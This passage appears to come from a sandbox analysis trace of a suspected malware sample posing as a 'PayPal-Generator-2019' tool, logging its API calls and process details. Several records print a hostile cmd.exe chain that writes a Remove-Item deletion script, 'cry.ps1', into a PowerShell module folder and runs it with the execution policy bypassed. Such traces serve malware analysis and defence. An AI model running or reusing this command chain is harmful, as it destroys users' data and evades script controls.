(_String1="mkdir", _String2="COPY") returned 10 [0048.402] _wcsicmp (_String1="mkdir", _String2="CD") returned 10 [0048.402] _wcsicmp (_String1="mkdir", _String2="CHDIR") returned 10 [0048.402] _wcsicmp (_String1="mkdir", _String2="RENAME") returned -5 [0048.402] _wcsicmp (_String1="mkdir", _String2="REN") returned -5 [0048.402] _wcsicmp (_String1="mkdir", _String2="ECHO") returned 8 [0048.402] _wcsicmp (_String1="mkdir", _String2="SET") returned -6 [0048.402] _wcsicmp (_String1="mkdir", _String2="PAUSE") returned -3 [0048.402] _wcsicmp (_String1="mkdir", _String2="DATE") returned 9 [0048.402] _wcsicmp (_String1="mkdir", _String2="TIME") returned -7 [0048.402] _wcsicmp (_String1="mkdir", _String2="PROMPT") returned -3 [0048.402] _wcsicmp (_String1="mkdir", _String2="MD") returned 7 [0048.402] _wcsicmp (_String1="mkdir", _String2="MKDIR") returned 0 [0048.405] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0048.408] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.408] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x104, lpBuffer=0xccefd8, lpFilePart=0xccefd4 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0xccefd4*="Cipher") returned 0x40 [0048.408] CreateDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher"), lpSecurityAttributes=0x0) returned 0 [0048.408] GetLastError () returned 0x3 [0048.409] CreateDirectoryW (lpPathName="C:\\Users" (normalized: "c:\\users"), lpSecurityAttributes=0x0) returned 0 [0048.409] GetLastError () returned 0xb7 [0048.409] CreateDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps"), lpSecurityAttributes=0x0) returned 0 [0048.409] GetLastError () returned 0xb7 [0048.409] CreateDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents"), lpSecurityAttributes=0x0) returned 0 [0048.409] GetLastError () returned 0xb7 [0048.409] CreateDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell"), lpSecurityAttributes=0x0) returned 1 [0048.409] CreateDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules"), lpSecurityAttributes=0x0) returned 1 [0048.410] CreateDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher"), lpSecurityAttributes=0x0) returned 1 [0048.410] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.410] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0048.410] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.410] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x105e40c | out: lpMode=0x105e40c) returned 1 [0048.410] _get_osfhandle (_FileHandle=0) returned 0x38 [0048.410] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x105e408 | out: lpMode=0x105e408) returned 1 [0048.410] SetConsoleInputExeNameW () returned 0x1 [0048.410] GetConsoleOutputCP () returned 0x1b5 [0048.411] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0048.411] SetThreadUILanguage (LangId=0x0) returned 0x409 [0048.411] exit (_Code=0) Thread: id = 10 os_tid = 0x4e8 Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2a9b1000" os_pid = "0xcf4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xc48" cmd_line = "C:\\Windows\\system32\\cmd.exe /c cmd.exe /c cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* >> %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & powershell -ExecutionPolicy ByPass -File %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & exit" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 333 start_va = 0xb50000 end_va = 0xb6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 334 start_va = 0xb70000 end_va = 0xb71fff entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 335 start_va = 0xb80000 end_va = 0xb93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 336 start_va = 0xba0000 end_va = 0xbdffff entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 337 start_va = 0xbe0000 end_va = 0xcdffff entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 338 start_va = 0xce0000 end_va = 0xce3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 339 start_va = 0xcf0000 end_va = 0xcf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 340 start_va = 0xd00000 end_va = 0xd01fff entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 341 start_va = 0x1030000 end_va = 0x107ffff entry_point = 0x1030000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 342 start_va = 0x1080000 end_va = 0x507ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001080000" filename = "" Region: id = 343 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 344 start_va = 0x7f520000 end_va = 0x7f542fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f520000" filename = "" Region: id = 345 start_va = 0x7f548000 end_va = 0x7f548fff entry_point = 0x0 region_type = private name = "private_0x000000007f548000" filename = "" Region: id = 346 start_va = 0x7f54c000 end_va = 0x7f54efff entry_point = 0x0 region_type = private name = "private_0x000000007f54c000" filename = "" Region: id = 347 start_va = 0x7f54f000 end_va = 0x7f54ffff entry_point = 0x0 region_type = private name = "private_0x000000007f54f000" filename = "" Region: id = 348 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 349 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 350 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 351 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 352 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 353 start_va = 0xed0000 end_va = 0xedffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 354 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 355 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 356 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 357 start_va = 0xb50000 end_va = 0xb5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 358 start_va = 0xd10000 end_va = 0xd4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 359 start_va = 0xda0000 end_va = 0xe9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 360 start_va = 0xee0000 end_va = 0xf9dfff entry_point = 0xee0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 361 start_va = 0x1010000 end_va = 0x101ffff entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 362 start_va = 0x5080000 end_va = 0x517ffff entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 363 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 364 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 365 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 366 start_va = 0x7f420000 end_va = 0x7f51ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f420000" filename = "" Region: id = 367 start_va = 0x7f549000 end_va = 0x7f54bfff entry_point = 0x0 region_type = private name = "private_0x000000007f549000" filename = "" Region: id = 368 start_va = 0xb60000 end_va = 0xb63fff entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 369 start_va = 0xb70000 end_va = 0xb73fff entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 370 start_va = 0x5180000 end_va = 0x54b6fff entry_point = 0x5180000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 11 os_tid = 0xcf8 [0049.615] GetModuleHandleA (lpModuleName=0x0) returned 0x1030000 [0049.615] __set_app_type (_Type=0x1) [0049.615] __p__fmode () returned 0x76fd4d6c [0049.615] __p__commode () returned 0x76fd5b1c [0049.615] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x10436e0) returned 0x0 [0049.615] __getmainargs (in: _Argc=0x10550e8, _Argv=0x10550ec, _Env=0x10550f0, _DoWildCard=0, _StartInfo=0x10550fc | out: _Argc=0x10550e8, _Argv=0x10550ec, _Env=0x10550f0) returned 0 [0049.616] GetCurrentThreadId () returned 0xcf8 [0049.616] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xcf8) returned 0x84 [0049.616] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0049.616] GetProcAddress (hModule=0x74f40000, lpProcName="SetThreadUILanguage") returned 0x74f82780 [0049.616] SetThreadUILanguage (LangId=0x0) returned 0x409 [0049.621] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0049.621] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xcdf9ac | out: phkResult=0xcdf9ac*=0x0) returned 0x2 [0049.621] VirtualQuery (in: lpAddress=0xcdf9b3, lpBuffer=0xcdf964, dwLength=0x1c | out: lpBuffer=0xcdf964*(BaseAddress=0xcdf000, AllocationBase=0xbe0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0049.621] VirtualQuery (in: lpAddress=0xbe0000, lpBuffer=0xcdf964, dwLength=0x1c | out: lpBuffer=0xcdf964*(BaseAddress=0xbe0000, AllocationBase=0xbe0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0049.621] VirtualQuery (in: lpAddress=0xbe1000, lpBuffer=0xcdf964, dwLength=0x1c | out: lpBuffer=0xcdf964*(BaseAddress=0xbe1000, AllocationBase=0xbe0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0049.621] VirtualQuery (in: lpAddress=0xbe3000, lpBuffer=0xcdf964, dwLength=0x1c | out: lpBuffer=0xcdf964*(BaseAddress=0xbe3000, AllocationBase=0xbe0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0049.621] VirtualQuery (in: lpAddress=0xce0000, lpBuffer=0xcdf964, dwLength=0x1c | out: lpBuffer=0xcdf964*(BaseAddress=0xce0000, AllocationBase=0xce0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0049.621] GetConsoleOutputCP () returned 0x1b5 [0049.622] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0049.622] SetConsoleCtrlHandler (HandlerRoutine=0x104f980, Add=1) returned 1 [0049.623] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.623] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x0) returned 1 [0049.623] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.623] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x105e40c | out: lpMode=0x105e40c) returned 1 [0049.624] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.624] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0049.625] _get_osfhandle (_FileHandle=0) returned 0x38 [0049.625] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x105e408 | out: lpMode=0x105e408) returned 1 [0049.626] GetEnvironmentStringsW () returned 0xda8170* [0049.626] FreeEnvironmentStringsA (penv="A") returned 1 [0049.626] GetEnvironmentStringsW () returned 0xda8170* [0049.626] FreeEnvironmentStringsA (penv="A") returned 1 [0049.626] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xcde910 | out: phkResult=0xcde910*=0x94) returned 0x0 [0049.626] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x0, lpData=0xcde91c*=0x58, lpcbData=0xcde918*=0x1000) returned 0x2 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x4, lpData=0xcde91c*=0x1, lpcbData=0xcde918*=0x4) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x0, lpData=0xcde91c*=0x1, lpcbData=0xcde918*=0x1000) returned 0x2 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x4, lpData=0xcde91c*=0x0, lpcbData=0xcde918*=0x4) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x4, lpData=0xcde91c*=0x40, lpcbData=0xcde918*=0x4) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x4, lpData=0xcde91c*=0x40, lpcbData=0xcde918*=0x4) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x0, lpData=0xcde91c*=0x40, lpcbData=0xcde918*=0x1000) returned 0x2 [0049.627] RegCloseKey (hKey=0x94) returned 0x0 [0049.627] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xcde910 | out: phkResult=0xcde910*=0x94) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x0, lpData=0xcde91c*=0x40, lpcbData=0xcde918*=0x1000) returned 0x2 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x4, lpData=0xcde91c*=0x1, lpcbData=0xcde918*=0x4) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x0, lpData=0xcde91c*=0x1, lpcbData=0xcde918*=0x1000) returned 0x2 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x4, lpData=0xcde91c*=0x0, lpcbData=0xcde918*=0x4) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x4, lpData=0xcde91c*=0x9, lpcbData=0xcde918*=0x4) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x4, lpData=0xcde91c*=0x9, lpcbData=0xcde918*=0x4) returned 0x0 [0049.627] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xcde914, lpData=0xcde91c, lpcbData=0xcde918*=0x1000 | out: lpType=0xcde914*=0x0, lpData=0xcde91c*=0x9, lpcbData=0xcde918*=0x1000) returned 0x2 [0049.627] RegCloseKey (hKey=0x94) returned 0x0 [0049.627] time (in: timer=0x0 | out: timer=0x0) returned 0x5c5c82cb [0049.627] srand (_Seed=0x5c5c82cb) [0049.627] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c cmd.exe /c cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* >> %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & powershell -ExecutionPolicy ByPass -File %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & exit" [0049.627] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c cmd.exe /c cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* >> %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & powershell -ExecutionPolicy ByPass -File %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & exit" [0049.627] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0049.628] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xda8178, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0049.628] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0049.628] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0049.628] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0049.628] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0049.628] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0049.628] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0049.628] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0049.628] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0049.628] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0049.628] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0049.628] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0049.628] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0049.628] GetEnvironmentStringsW () returned 0xda8388* [0049.628] FreeEnvironmentStringsA (penv="A") returned 1 [0049.628] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0049.629] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0049.629] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0049.629] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0049.629] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0049.629] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0049.629] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0049.629] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0049.629] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0049.629] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0049.629] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xcdf6e8 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0049.629] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x104, lpBuffer=0xcdf6e8, lpFilePart=0xcdf6e0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xcdf6e0*="Desktop") returned 0x1d [0049.629] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0049.629] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xcdf468 | out: lpFindFileData=0xcdf468) returned 0xdab5d0 [0049.629] FindClose (in: hFindFile=0xdab5d0 | out: hFindFile=0xdab5d0) returned 1 [0049.629] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", lpFindFileData=0xcdf468 | out: lpFindFileData=0xcdf468) returned 0xdab5d0 [0049.629] FindClose (in: hFindFile=0xdab5d0 | out: hFindFile=0xdab5d0) returned 1 [0049.630] _wcsnicmp (_String1="CIIHMN~1", _String2="CIiHmnxMn6Ps", _MaxCount=0xc) returned 6 [0049.630] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFindFileData=0xcdf468 | out: lpFindFileData=0xcdf468) returned 0xdab5d0 [0049.630] FindClose (in: hFindFile=0xdab5d0 | out: hFindFile=0xdab5d0) returned 1 [0049.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0049.630] SetCurrentDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 1 [0049.630] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1 [0049.630] GetEnvironmentStringsW () returned 0xdaa0c0* [0049.630] FreeEnvironmentStringsA (penv="=") returned 1 [0049.630] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0049.631] GetConsoleOutputCP () returned 0x1b5 [0049.632] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0049.632] GetUserDefaultLCID () returned 0x409 [0049.632] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x10624a0, cchData=8 | out: lpLCData=":") returned 2 [0049.632] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xcdf818, cchData=128 | out: lpLCData="0") returned 2 [0049.632] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xcdf818, cchData=128 | out: lpLCData="0") returned 2 [0049.632] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xcdf818, cchData=128 | out: lpLCData="1") returned 2 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x10624b0, cchData=8 | out: lpLCData="/") returned 2 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x1062500, cchData=32 | out: lpLCData="Mon") returned 4 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x1062540, cchData=32 | out: lpLCData="Tue") returned 4 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x1062580, cchData=32 | out: lpLCData="Wed") returned 4 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x10625c0, cchData=32 | out: lpLCData="Thu") returned 4 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x1062600, cchData=32 | out: lpLCData="Fri") returned 4 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x1062640, cchData=32 | out: lpLCData="Sat") returned 4 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x1062680, cchData=32 | out: lpLCData="Sun") returned 4 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x10624c0, cchData=8 | out: lpLCData=".") returned 2 [0049.633] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x10624e0, cchData=8 | out: lpLCData=",") returned 2 [0049.633] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0049.634] GetConsoleTitleW (in: lpConsoleTitle=0xda9100, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.634] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0049.635] GetProcAddress (hModule=0x74f40000, lpProcName="CopyFileExW") returned 0x74f5fa80 [0049.635] GetProcAddress (hModule=0x74f40000, lpProcName="IsDebuggerPresent") returned 